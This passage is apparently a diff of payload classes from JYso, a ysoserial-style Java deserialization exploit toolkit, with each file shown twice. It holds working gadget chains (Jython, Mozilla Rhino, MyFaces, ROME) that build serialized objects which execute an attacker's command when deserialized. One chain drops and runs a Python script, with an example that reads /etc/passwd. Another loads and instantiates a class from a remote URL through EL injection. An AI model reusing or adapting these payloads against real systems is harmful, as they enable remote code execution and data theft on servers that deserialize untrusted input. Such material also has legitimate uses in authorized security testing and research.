* <local path>;<remote path>
* <p>
* Where local path is the python script's location on the attack box and
* remote path is the location where the script will be written/executed from.
* For example:
* <p>
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
* <p>
* In the above example, if "read_etc_passwd.py" simply contained the string:
* <p>
* raise Exception(open('/etc/passwd', 'r').read())
* <p>
* Then, when deserialized, the script will read in /etc/passwd and raise an
* exception with its contents (which could be useful if the target returns
* exception information).
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.python:jython-standalone:2.5.2"})
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class Jython1 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String[] paths = command.split(":");
if (paths.length != 2) {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
}
// Set payload parameters
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
// Python bytecode to write a file on disk and execute it
String code =
"740000" + //0 LOAD_GLOBAL 0 (open)
"640100" + //3 LOAD_CONST 1 (remote path)
"640200" + //6 LOAD_CONST 2 ('w+')
"830200" + //9 CALL_FUNCTION 2
"7D0000" + //12 STORE_FAST 0 (file)
"7C0000" + //15 LOAD_FAST 0 (file)
"690100" + //18 LOAD_ATTR 1 (write)
"640300" + //21 LOAD_CONST 3 (python code)
"830100" + //24 CALL_FUNCTION 1
"01" + //27 POP_TOP
"7C0000" + //28 LOAD_FAST 0 (file)
"690200" + //31 LOAD_ATTR 2 (close)
"830000" + //34 CALL_FUNCTION 0
"01" + //37 POP_TOP
"740300" + //38 LOAD_GLOBAL 3 (execfile)
"640100" + //41 LOAD_CONST 1 (remote path)
"830100" + //44 CALL_FUNCTION 1
"01" + //47 POP_TOP
"640000" + //48 LOAD_CONST 0 (None)
"53"; //51 RETURN_VALUE
// Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
String[] names = new String[]{"open", "write", "close", "execfile"};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
// Prepare Trigger Gadget
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[]{1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
}
@@ -1,72 +1,72 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"rhino:js:1.7R2"})
@Authors({Authors.MATTHIASKAISER})
public class MozillaRhino1 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
public Object getObject(String command) throws Exception {
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
Reflections.setAccessible(nativeErrorConstructor);
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
Method enterMethod = Context.class.getDeclaredMethod("enter");
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
idScriptableObject.setGetterOrSetter("name", 0, method, false);
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
Reflections.setAccessible(getSlot);
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
Reflections.setAccessible(getter);
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
Reflections.setAccessible(memberboxClassConstructor);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
final Object tpl;
tpl = Gadgets.createTemplatesImpl(command);
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class);
idScriptableObject.setPrototype(nativeObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
Reflections.setAccessible(valField);
valField.set(badAttributeValueExpException, idScriptableObject);
return badAttributeValueExpException;
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"rhino:js:1.7R2"})
@Authors({Authors.MATTHIASKAISER})
public class MozillaRhino1 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
public Object getObject(String command) throws Exception {
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
Reflections.setAccessible(nativeErrorConstructor);
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
Method enterMethod = Context.class.getDeclaredMethod("enter");
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
idScriptableObject.setGetterOrSetter("name", 0, method, false);
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
Reflections.setAccessible(getSlot);
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
Reflections.setAccessible(getter);
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
Reflections.setAccessible(memberboxClassConstructor);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
final Object tpl;
tpl = Gadgets.createTemplatesImpl(command);
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class);
idScriptableObject.setPrototype(nativeObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
Reflections.setAccessible(valField);
valField.set(badAttributeValueExpException, idScriptableObject);
return badAttributeValueExpException;
}
}
@@ -1,105 +1,105 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.util.Hashtable;
import java.util.Map;
/**
* Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
* <p>
* Chain:
* <p>
* NativeJavaObject.readObject()
* JavaAdapter.readAdapterObject()
* ObjectInputStream.readObject()
* ...
* NativeJavaObject.readObject()
* JavaAdapter.readAdapterObject()
* JavaAdapter.getAdapterClass()
* JavaAdapter.getObjectFunctionNames()
* ScriptableObject.getProperty()
* ScriptableObject.get()
* ScriptableObject.getImpl()
* Method.invoke()
* Context.enter()
* JavaAdapter.getAdapterClass()
* JavaAdapter.getObjectFunctionNames()
* ScriptableObject.getProperty()
* NativeJavaArray.get()
* NativeJavaObject.get()
* JavaMembers.get()
* Method.invoke()
* TemplatesImpl.getOutputProperties()
* ...
* <p>
* by @_tint0
*/
@SuppressWarnings({"unchecked","unused"})
@Dependencies({"rhino:js:1.7R2"})
@Authors({Authors.TINT0})
public class MozillaRhino2 implements ObjectPayload<Object> {
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object");
out.writeObject(new String[0]);
out.writeObject(javaObject);
}
@Override
public Object getObject(String command) throws Exception {
ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = Reflections.createWithConstructor(
Class.forName("org.mozilla.javascript.MemberBox"),
(Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"),
new Class[]{Method.class},
new Object[]{Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
ScriptableObject scriptableObject = new Environment();
scriptableObject.setParentScope(initContextNativeJavaObject);
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
final Object tpl;
tpl = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl);
nativeJavaArray.setPrototype(scriptableObject);
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
return nativeJavaObject;
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.util.Hashtable;
import java.util.Map;
/**
* Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
* <p>
* Chain:
* <p>
* NativeJavaObject.readObject()
* JavaAdapter.readAdapterObject()
* ObjectInputStream.readObject()
* ...
* NativeJavaObject.readObject()
* JavaAdapter.readAdapterObject()
* JavaAdapter.getAdapterClass()
* JavaAdapter.getObjectFunctionNames()
* ScriptableObject.getProperty()
* ScriptableObject.get()
* ScriptableObject.getImpl()
* Method.invoke()
* Context.enter()
* JavaAdapter.getAdapterClass()
* JavaAdapter.getObjectFunctionNames()
* ScriptableObject.getProperty()
* NativeJavaArray.get()
* NativeJavaObject.get()
* JavaMembers.get()
* Method.invoke()
* TemplatesImpl.getOutputProperties()
* ...
* <p>
* by @_tint0
*/
@SuppressWarnings({"unchecked","unused"})
@Dependencies({"rhino:js:1.7R2"})
@Authors({Authors.TINT0})
public class MozillaRhino2 implements ObjectPayload<Object> {
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object");
out.writeObject(new String[0]);
out.writeObject(javaObject);
}
@Override
public Object getObject(String command) throws Exception {
ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = Reflections.createWithConstructor(
Class.forName("org.mozilla.javascript.MemberBox"),
(Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"),
new Class[]{Method.class},
new Object[]{Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
ScriptableObject scriptableObject = new Environment();
scriptableObject.setParentScope(initContextNativeJavaObject);
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
final Object tpl;
tpl = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl);
nativeJavaArray.setPrototype(scriptableObject);
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
return nativeJavaObject;
}
}
@@ -1,84 +1,84 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.myfaces.context.servlet.FacesContextImpl;
import org.apache.myfaces.context.servlet.FacesContextImplBase;
import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext;
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.servlet.ServletResponse;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
/**
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
* <p>
* Arguments:
* - an EL expression to execute
* <p>
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@SuppressWarnings({"unused"})
@Dependencies
@Authors({Authors.MBECHLER})
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies() {
if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) {
return new String[]{
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
} else if ("juel".equals(System.getProperty("el"))) {
return new String[]{
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
}
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
}
public static Object makeExpressionPayload(String expr) throws Exception {
FacesContextImpl fc = new FacesContextImpl(null, null, (ServletResponse) null);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
return makeMap(e2, e);
}
@Override
public Object getObject(String command) throws Exception {
return makeExpressionPayload(command);
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.myfaces.context.servlet.FacesContextImpl;
import org.apache.myfaces.context.servlet.FacesContextImplBase;
import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext;
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.servlet.ServletResponse;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
/**
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
* <p>
* Arguments:
* - an EL expression to execute
* <p>
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@SuppressWarnings({"unused"})
@Dependencies
@Authors({Authors.MBECHLER})
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies() {
if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) {
return new String[]{
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
} else if ("juel".equals(System.getProperty("el"))) {
return new String[]{
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
}
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
}
public static Object makeExpressionPayload(String expr) throws Exception {
FacesContextImpl fc = new FacesContextImpl(null, null, (ServletResponse) null);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
return makeMap(e2, e);
}
@Override
public Object getObject(String command) throws Exception {
return makeExpressionPayload(command);
}
}
@@ -1,29 +1,29 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
@SuppressWarnings({"unused"})
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
@Override
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
StringBuilder expr = new StringBuilder("${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}");
// if we add fewer than the actual classloaders we end up with a null entry
for (int i = 0; i < 100; i++) {
expr.append("${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('").append(url).append("').toURL())}");
}
expr.append("${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('").append(className).append("').newInstance()}");
return Myfaces1.makeExpressionPayload(expr.toString());
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
@SuppressWarnings({"unused"})
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
@Override
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
StringBuilder expr = new StringBuilder("${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}");
// if we add fewer than the actual classloaders we end up with a null entry
for (int i = 0; i < 100; i++) {
expr.append("${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('").append(url).append("').toURL())}");
}
expr.append("${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('").append(className).append("').newInstance()}");
return Myfaces1.makeExpressionPayload(expr.toString());
}
}
@@ -1,77 +1,77 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.LdapServer;
import org.reflections.Reflections;
import java.lang.reflect.Modifier;
import java.util.Random;
import java.util.Set;
import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap;
public interface ObjectPayload<T> {
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
T getObject(String command) throws Exception;
class Utils {
// get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload<?>>> getPayloadClasses() {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
@SuppressWarnings("unchecked")
final Set<Class<? extends ObjectPayload<?>>> payloadTypes =
(Set<Class<? extends ObjectPayload<?>>>) (Set<?>)
reflections.getSubTypesOf(ObjectPayload.class);
payloadTypes.removeIf(pc -> pc.isInterface() || Modifier.isAbstract(pc.getModifiers()));
return payloadTypes;
}
@SuppressWarnings("unchecked")
public static Class<? extends ObjectPayload<?>> getPayloadClass(final String className) {
Class<? extends ObjectPayload<?>> clazz = null;
try {
clazz = (Class<? extends ObjectPayload<?>>) Class.forName(className);
} catch (Exception ignored) {
}
if (clazz == null) {
try {
return (Class<? extends ObjectPayload<Object>>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className);
} catch (NoClassDefFoundError | Exception e) {
clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className);
}
}
if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) {
clazz = null;
}
return clazz;
}
public static void releasePayload(ObjectPayload<?> payload, Object object) throws Exception {
if (payload instanceof ReleaseableObjectPayload) {
((ReleaseableObjectPayload<?>) payload).release(object);
}
}
//生成随机字符
public static String generateRandomString(int length) {
String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
StringBuilder sb = new StringBuilder();
Random random = new Random();
for (int i = 0; i < length; i++) {
int index = random.nextInt(characters.length());
char randomChar = characters.charAt(index);
sb.append(randomChar);
}
return sb.toString();
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.LdapServer;
import org.reflections.Reflections;
import java.lang.reflect.Modifier;
import java.util.Random;
import java.util.Set;
import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap;
public interface ObjectPayload<T> {
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
T getObject(String command) throws Exception;
class Utils {
// get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload<?>>> getPayloadClasses() {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
@SuppressWarnings("unchecked")
final Set<Class<? extends ObjectPayload<?>>> payloadTypes =
(Set<Class<? extends ObjectPayload<?>>>) (Set<?>)
reflections.getSubTypesOf(ObjectPayload.class);
payloadTypes.removeIf(pc -> pc.isInterface() || Modifier.isAbstract(pc.getModifiers()));
return payloadTypes;
}
@SuppressWarnings("unchecked")
public static Class<? extends ObjectPayload<?>> getPayloadClass(final String className) {
Class<? extends ObjectPayload<?>> clazz = null;
try {
clazz = (Class<? extends ObjectPayload<?>>) Class.forName(className);
} catch (Exception ignored) {
}
if (clazz == null) {
try {
return (Class<? extends ObjectPayload<Object>>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className);
} catch (NoClassDefFoundError | Exception e) {
clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className);
}
}
if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) {
clazz = null;
}
return clazz;
}
public static void releasePayload(ObjectPayload<?> payload, Object object) throws Exception {
if (payload instanceof ReleaseableObjectPayload) {
((ReleaseableObjectPayload<?>) payload).release(object);
}
}
//生成随机字符
public static String generateRandomString(int length) {
String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
StringBuilder sb = new StringBuilder();
Random random = new Random();
for (int i = 0; i < length; i++) {
int index = random.nextInt(characters.length());
char randomChar = characters.charAt(index);
sb.append(randomChar);
}
return sb.toString();
}
}
}
+42 -42
View File
@@ -1,42 +1,42 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
/**
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*/
@SuppressWarnings({"unused"})
@Dependencies("rome:rome:1.0")
@Authors({Authors.MBECHLER})
public class ROME implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, templates);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return makeMap(root, root);
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
/**
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
